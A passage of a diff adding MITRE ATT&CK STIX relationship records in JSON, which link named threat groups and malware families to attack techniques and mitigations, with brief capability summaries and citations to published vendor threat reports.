Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.286Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) can execute commands using cmd.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--305ecc72-e820-44cb-ab52-593ccca814ff", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to create a remote shell and execute specified commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c158663-599b-45a8-b946-6d545206428d", + "external_references": [ + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:00:47.418Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63de6e73-7ec5-4cae-8d08-9c64428b52bf", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has used [Tasklist](https://attack.mitre.org/software/S0057) to get information on processes.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:35:08.287Z", + "type": "relationship", + "id": "relationship--a5a72971-e4a1-494f-8e12-280ed06fe7b3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:32:32.064Z", + "type": "relationship", + "id": "relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about running processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) executes commands remotely via cmd.exe.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac33e30a-5abb-4267-a220-2f844cce45e4", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + } + ], + "modified": "2019-03-22T20:21:57.659Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors spawned shells on remote systems on a victim network to execute commands.", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--289e01df-60e6-4eee-830e-9d742ac10c86", + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "modified": "2019-03-25T17:01:21.258Z", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6a4b8e6-eaf7-4b56-af0a-ba0fd070e97b", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.863Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list file and directory information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8beb37e3-5cf0-4229-ae27-186a37133521", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.398Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware communicates with its C2 server via HTTPS.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--782da600-bc3b-4dae-89d1-4a79522bed02", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument \"dig.\" The group has also used a tools to dump passwords from browsers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c948f964-e26c-4226-9577-7b78b5bf271f", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.448Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:46:32.176Z", + "type": "relationship", + "id": "relationship--c5747927-2d3d-4d3b-a4d7-56a2b37b039e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses various WMI queries to check if the sample is running in a sandbox.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0220b491-9c13-4bc4-a3e2-e3ad0e8c9733", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.306Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f35a3ca7-b916-4bc2-a493-613196b5d41e", + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "modified": "2019-04-25T11:39:52.189Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used cmd.exe to launch commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1332e859-38be-45ed-9ebc-09efd7117c17", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.383Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can list directory contents.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fbfa0807-ce03-4448-a50d-f0337d2446f2", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-24T16:39:53.978Z", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) uploader or malware the uploader uses command to delete the RAR archives after they have been exfiltrated.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.265Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can retrieve the current content of the user clipboard.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66440b92-cfed-441c-85fd-1d103684a187", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to delete local files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--24db8ce5-951e-4952-9aff-c005a563cb99", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.587Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.545Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f879eea1-2a05-484d-adbb-c3504813fc5d", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can delete files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c7a7eca-b91a-4974-bcf0-cfb77f105abd", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) delets all artifacts associated with the malware from the infected machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df520c15-50fc-46cf-8559-368e88072aa7", + "external_references": [ + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can list running services.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--de525077-129a-4d14-8419-6a3d219710a8", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) lower disable security settings by changing Registry keys.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e66aad2-7c30-4c05-9f8e-767ac1cff08e", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) encrypts the collected files using 3-DES.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b2770ca-bf5d-4994-8a7e-868c906f385a", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. 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Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-04-17T22:12:24.800Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new schedule task on the remote system", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). 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Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.765Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used a variant of [ShiftyBug](https://attack.mitre.org/software/S0294) that communicates with its C2 server over port 6666.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be61c04d-178f-4366-b778-ee77f0485d13", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.738Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) lists all running processes.", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e", + "external_references": [ + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:09:34.825Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66a3ab46-abcb-4234-a786-638044cfc50e", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": 